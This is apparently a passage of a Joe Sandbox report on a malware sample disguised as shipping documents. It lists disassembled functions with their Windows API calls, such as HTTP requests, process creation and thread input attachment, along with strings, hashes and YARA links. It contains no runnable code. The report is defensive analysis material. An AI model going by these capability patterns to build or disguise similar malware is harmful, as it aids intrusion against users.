                                                • API String ID: 1383977212-1403004172
                                                • Opcode ID: cec51d17da4bacf4153efc3a8661cd0d47b1169ee688218d0d75187073227ca1
                                                • Instruction ID: 8780802bf5b5e0d4c491c2f0a7fe46069a66f7db650176fd9e542be7a50d260d
                                                • Opcode Fuzzy Hash: cec51d17da4bacf4153efc3a8661cd0d47b1169ee688218d0d75187073227ca1
                                                • Instruction Fuzzy Hash: 6C21C1B4900208AFCB04ABA0DC86EFEBB75EB49310F14021AF651932E2DB7459159F30
                                                Function 00D3B9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00D3BA73
                                                • GetDlgCtrlID.USER32 ref: 00D3BA7E
                                                • GetParent.USER32 ref: 00D3BA9A
                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 00D3BA9D
                                                • GetDlgCtrlID.USER32(?), ref: 00D3BAA6
                                                • GetParent.USER32(?), ref: 00D3BAC2
                                                • SendMessageW.USER32(00000000,?,?,00000111), ref: 00D3BAC5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CtrlParent
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 1383977212-1403004172
                                                • Opcode ID: fad9adaf88b794b806ce22d9f92e46d2ed70ebe9a4e248a6c56cc661f984bfdd
                                                • Instruction ID: cfbe7e7892e96a278ad2ca9c435b664e31a9052dab8aac16c05b382f99d1fa18
                                                • Opcode Fuzzy Hash: fad9adaf88b794b806ce22d9f92e46d2ed70ebe9a4e248a6c56cc661f984bfdd
                                                • Instruction Fuzzy Hash: D121A1B5A00208BFDB01AB64DC86EFEB775EF45300F140116F555932D1EBB599199B30
                                                Function 00D3BAD7 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32 ref: 00D3BAE3
                                                • GetClassNameW.USER32(00000000,?,00000100), ref: 00D3BAF8
                                                • _wcscmp.LIBCMT ref: 00D3BB0A
                                                • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00D3BB85
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameParentSend_wcscmp
                                                • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                • API String ID: 1704125052-3381328864
                                                • Opcode ID: ff6439a9cbefb9cfec9a0b4ad16e1bc84e5dae8284439be7cb64d9d1597b96d3
                                                • Instruction ID: 90fbb62973ca24fe681d15e96f14ec9c5018e0bbe5cd719ffdf7e82ad9dc475b
                                                • Opcode Fuzzy Hash: ff6439a9cbefb9cfec9a0b4ad16e1bc84e5dae8284439be7cb64d9d1597b96d3
                                                • Instruction Fuzzy Hash: CA11E07664830AFEFA206620EC17DA6BB9DDF61334F200023FA19E50D6FFA1A8114634
                                                Function 00D5B2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00D5B2D5
                                                • CoInitialize.OLE32(00000000), ref: 00D5B302
                                                • CoUninitialize.OLE32 ref: 00D5B30C
                                                • GetRunningObjectTable.OLE32(00000000,?), ref: 00D5B40C
                                                • SetErrorMode.KERNEL32(00000001,00000029), ref: 00D5B539
                                                • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 00D5B56D
                                                • CoGetObject.OLE32(?,00000000,00D8D91C,?), ref: 00D5B590
                                                • SetErrorMode.KERNEL32(00000000), ref: 00D5B5A3
                                                • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00D5B623
                                                • VariantClear.OLEAUT32(00D8D91C), ref: 00D5B633
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                • String ID:
                                                • API String ID: 2395222682-0
                                                • Opcode ID: 19b560c12cfb4c316adbcb64cd2138d10bd9c38fc3dd95c3f8e7acac3d61228e
                                                • Instruction ID: b27b777268bcd18c4f785116e127943af44dc7e25add09e0e4d576a1e8a6efe5
                                                • Opcode Fuzzy Hash: 19b560c12cfb4c316adbcb64cd2138d10bd9c38fc3dd95c3f8e7acac3d61228e
                                                • Instruction Fuzzy Hash: 4DC11571608305AFDB04DF64C88492AB7E9FF88355F04491EF98ADB291DB71ED09CB62
                                                Function 00D2ACB3 Relevance: 15.2, APIs: 10, Instructions: 219COMMON
                                                Download Yara Rule
                                                APIs
                                                • __lock.LIBCMT ref: 00D2ACC1
                                                  • Part of subcall function 00D27CF4: __mtinitlocknum.LIBCMT ref: 00D27D06
                                                  • Part of subcall function 00D27CF4: EnterCriticalSection.KERNEL32(00000000,?,00D27ADD,0000000D), ref: 00D27D1F
                                                • __calloc_crt.LIBCMT ref: 00D2ACD2
                                                  • Part of subcall function 00D26986: __calloc_impl.LIBCMT ref: 00D26995
                                                  • Part of subcall function 00D26986: Sleep.KERNEL32(00000000,000003BC,00D1F507,?,0000000E), ref: 00D269AC
                                                • @_EH4_CallFilterFunc@8.LIBCMT ref: 00D2ACED
                                                • GetStartupInfoW.KERNEL32(?,00DB6E28,00000064,00D25E91,00DB6C70,00000014), ref: 00D2AD46
                                                • __calloc_crt.LIBCMT ref: 00D2AD91
                                                • GetFileType.KERNEL32(00000001), ref: 00D2ADD8
                                                • InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00D2AE11
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
                                                • String ID:
                                                • API String ID: 1426640281-0
                                                • Opcode ID: 4187c0008cb52c5743a25fc2ce95fd2ee2c1c21ce7946ebe1b6641bebc0e5aef
                                                • Instruction ID: 090c49503ddfaeb67a368c3389cd4f7502cd95310b1101ca8c5b89b6244a8da8
                                                • Opcode Fuzzy Hash: 4187c0008cb52c5743a25fc2ce95fd2ee2c1c21ce7946ebe1b6641bebc0e5aef
                                                • Instruction Fuzzy Hash: 57818071A053668FDB14CF6CE8405A9BBF0EF55328B28425DE4A6AB3D1D7349803CB75
                                                Function 00D467E9 Relevance: 15.1, APIs: 10, Instructions: 107windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __swprintf.LIBCMT ref: 00D467FD
                                                • __swprintf.LIBCMT ref: 00D4680A
                                                  • Part of subcall function 00D2172B: __woutput_l.LIBCMT ref: 00D21784
                                                • FindResourceW.KERNEL32(?,?,0000000E), ref: 00D46834
                                                • LoadResource.KERNEL32(?,00000000), ref: 00D46840
                                                • LockResource.KERNEL32(00000000), ref: 00D4684D
                                                • FindResourceW.KERNEL32(?,?,00000003), ref: 00D4686D
                                                • LoadResource.KERNEL32(?,00000000), ref: 00D4687F
                                                • SizeofResource.KERNEL32(?,00000000), ref: 00D4688E
                                                • LockResource.KERNEL32(?), ref: 00D4689A
                                                • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00D468F9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                                • String ID:
                                                • API String ID: 1433390588-0
                                                • Opcode ID: e4cb272c6d3fbf744e1ed7ec505e929e3c6502d919f1a2f0c360cb666483cc32
                                                • Instruction ID: b5117b4e74dc47053ee8ca796b034248c7bc03ccf0ee762228887cd185842d82
                                                • Opcode Fuzzy Hash: e4cb272c6d3fbf744e1ed7ec505e929e3c6502d919f1a2f0c360cb666483cc32
                                                • Instruction Fuzzy Hash: 6831707590021AABDB119F60ED55EBFBBADFF09340F048425F902E2291E734D911DB75
                                                Function 00D44025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 00D44047
                                                • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00D430A5,?,00000001), ref: 00D4405B
                                                • GetWindowThreadProcessId.USER32(00000000), ref: 00D44062
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00D430A5,?,00000001), ref: 00D44071
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00D44083
                                                • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00D430A5,?,00000001), ref: 00D4409C
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00D430A5,?,00000001), ref: 00D440AE
                                                • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00D430A5,?,00000001), ref: 00D440F3
                                                • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00D430A5,?,00000001), ref: 00D44108
                                                • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00D430A5,?,00000001), ref: 00D44113
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                • String ID:
                                                • API String ID: 2156557900-0
                                                • Opcode ID: 201daa55226616082e714ec2bb0b404adf31321d1bc5d1b91a406d272c457092
                                                • Instruction ID: 39b3ca1ecc664a40b21cc14dfdeecf35825e43b7745b170ef7e92d50667fd43a
                                                • Opcode Fuzzy Hash: 201daa55226616082e714ec2bb0b404adf31321d1bc5d1b91a406d272c457092
                                                • Instruction Fuzzy Hash: 2A314D7151030AABDB20EB54DC8AFAD77AAAB68351F14C115F905E63D0DBB4DAC08B74
                                                Function 00D7DD4A Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000008), ref: 00D1B496
                                                • SetTextColor.GDI32(?,000000FF), ref: 00D1B4A0
                                                • SetBkMode.GDI32(?,00000001), ref: 00D1B4B5
                                                • GetStockObject.GDI32(00000005), ref: 00D1B4BD
                                                • GetClientRect.USER32(?), ref: 00D7DD63
                                                • SendMessageW.USER32(?,00001328,00000000,?), ref: 00D7DD7A
                                                • GetWindowDC.USER32(?), ref: 00D7DD86
                                                • GetPixel.GDI32(00000000,?,?), ref: 00D7DD95
                                                • ReleaseDC.USER32(?,00000000), ref: 00D7DDA7
                                                • GetSysColor.USER32(00000005), ref: 00D7DDC5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
                                                • String ID:
                                                • API String ID: 3430376129-0
                                                • Opcode ID: 63cdafb890692287423ba9cc4aebb241b628b79c5eb66b9d0c75f91c37230af3
                                                • Instruction ID: 47a8814fff8941ccbe0430eb7adf708b1aea88351ea92104b47670c854c7983d
                                                • Opcode Fuzzy Hash: 63cdafb890692287423ba9cc4aebb241b628b79c5eb66b9d0c75f91c37230af3
                                                • Instruction Fuzzy Hash: 9D115931110305BFDB216BA4EC09BE93BA2EF05325F148666FA6AD52E2DB3149819B30
                                                Function 00D3CB82 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON
                                                Download Yara Rule
                                                APIs
                                                • EnumChildWindows.USER32(?,00D3CF50), ref: 00D3CE90
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ChildEnumWindows
                                                • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                • API String ID: 3555792229-1603158881
                                                • Opcode ID: de06c64d91e1e6b004f7175b94cdd55f73c2a07fecf108766472deef110fd673
                                                • Instruction ID: c47b15d8be251fce12e8083cf2638875fcb0afe4e3a835d7048da6f1110f5653
                                                • Opcode Fuzzy Hash: de06c64d91e1e6b004f7175b94cdd55f73c2a07fecf108766472deef110fd673
                                                • Instruction Fuzzy Hash: 11918571610606AACB18EF60D881BEEFB75FF14300F589519E85AB7191DF30A999CBF0
                                                Function 00D03093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                Download Yara Rule
                                                APIs
                                                • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00D030DC
                                                • CoUninitialize.OLE32(?,00000000), ref: 00D03181
                                                • UnregisterHotKey.USER32(?), ref: 00D032A9
                                                • DestroyWindow.USER32(?), ref: 00D75079
                                                • FreeLibrary.KERNEL32(?), ref: 00D750F8
                                                • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00D75125
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                • String ID: close all
                                                • API String ID: 469580280-3243417748
                                                • Opcode ID: 16e4b01db6cf10d9b47437d1727e0325d51cf4dc5b0c57268c710b00a1a0701a
                                                • Instruction ID: 76676f5ab718cd24de4d3a1f6aa657161a55a729ea22abb2ff25d586eee206f4
                                                • Opcode Fuzzy Hash: 16e4b01db6cf10d9b47437d1727e0325d51cf4dc5b0c57268c710b00a1a0701a
                                                • Instruction Fuzzy Hash: 2E9118746102029FC715EF24D895B68F3A8FF05304F5482A9E50EA72A2DF70AE66CF75
                                                Function 00D1CB8D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowLongW.USER32(?,000000EB), ref: 00D1CC15
                                                  • Part of subcall function 00D1CCCD: GetClientRect.USER32(?,?), ref: 00D1CCF6
                                                  • Part of subcall function 00D1CCCD: GetWindowRect.USER32(?,?), ref: 00D1CD37
                                                  • Part of subcall function 00D1CCCD: ScreenToClient.USER32(?,?), ref: 00D1CD5F
                                                • GetDC.USER32 ref: 00D7D137
                                                • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00D7D14A
                                                • SelectObject.GDI32(00000000,00000000), ref: 00D7D158
                                                • SelectObject.GDI32(00000000,00000000), ref: 00D7D16D
                                                • ReleaseDC.USER32(?,00000000), ref: 00D7D175
                                                • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00D7D200
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                • String ID: U
                                                • API String ID: 4009187628-3372436214
                                                • Opcode ID: c5b191fe2c6cc74f3b758324930d6696eb117cf2035010293409a5228a8116fb
                                                • Instruction ID: f64b445d45bc9dd0853134fd2586120591caa9e4c834b72be8a5d834d3efc875
                                                • Opcode Fuzzy Hash: c5b191fe2c6cc74f3b758324930d6696eb117cf2035010293409a5228a8116fb
                                                • Instruction Fuzzy Hash: F571C434500309EFCF219F64D881AE97B76FF49314F188269ED99962A6EB31CC81DB70
                                                Function 00D545C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00D545FF
                                                • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00D5462B
                                                • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00D5466D
                                                • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00D54682
                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D5468F
                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00D546BF
                                                • InternetCloseHandle.WININET(00000000), ref: 00D54706
                                                  • Part of subcall function 00D55052: GetLastError.KERNEL32(?,?,00D543CC,00000000,00000000,00000001), ref: 00D55067
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
                                                • String ID:
                                                • API String ID: 1241431887-3916222277
                                                • Opcode ID: 31485406574ca7e21acf4a6bb3891e88bd3619493ce1a9c825177b27da6b15d8
                                                • Instruction ID: 9ca9e8c3b0e238a44436fb011fdb033dd3ca98db05e1646e5bf27a343cf1bd5f
                                                • Opcode Fuzzy Hash: 31485406574ca7e21acf4a6bb3891e88bd3619493ce1a9c825177b27da6b15d8
                                                • Instruction Fuzzy Hash: D2415BB1501205BBEF029F54DC85FEB77ACEF0931AF144016FE069A185E7B099888BB5
                                                Function 00D5B644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,?,00D9DC00), ref: 00D5B715
                                                • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00D9DC00), ref: 00D5B749
                                                • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00D5B8C1
                                                • SysFreeString.OLEAUT32(?), ref: 00D5B8EB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                • String ID:
                                                • API String ID: 560350794-0
                                                • Opcode ID: 278b8f387332a4946bf64f0c26550f63aa17a4e7185b16deba8dd32534be0709
                                                • Instruction ID: a74a226473ee93f1c32c0332c0cdf2e3b1491a757c19d386e5efd580ecc7aca9
                                                • Opcode Fuzzy Hash: 278b8f387332a4946bf64f0c26550f63aa17a4e7185b16deba8dd32534be0709
                                                • Instruction Fuzzy Hash: BCF1F775A00209AFCF04DF94C884EAEBBB9FF49325F148559FD05AB250DB71AE49CB60
                                                Function 00D624D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D624F5
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00D62688
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00D626AC
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00D626EC
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00D6270E
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00D6286F
                                                • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00D628A1
                                                • CloseHandle.KERNEL32(?), ref: 00D628D0
                                                • CloseHandle.KERNEL32(?), ref: 00D62947
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                • String ID:
                                                • API String ID: 4090791747-0
                                                • Opcode ID: 4fc2eae554eded67c8c522cccab9c24035c45cf570be2bdeee41d98d359768eb
                                                • Instruction ID: d5a42e34094166a3bf1ebb2a1f08534eea8dce870888693266310ac857d2d3a5
                                                • Opcode Fuzzy Hash: 4fc2eae554eded67c8c522cccab9c24035c45cf570be2bdeee41d98d359768eb
                                                • Instruction Fuzzy Hash: 90D17B31604601DFCB14EF24D891B6ABBE5EF85314F18855DF8899B2A2DB31EC45CB72
                                                Function 00D6B33A Relevance: 13.7, APIs: 9, Instructions: 167COMMON
                                                Download Yara Rule
                                                APIs
                                                • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00D6B3F4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
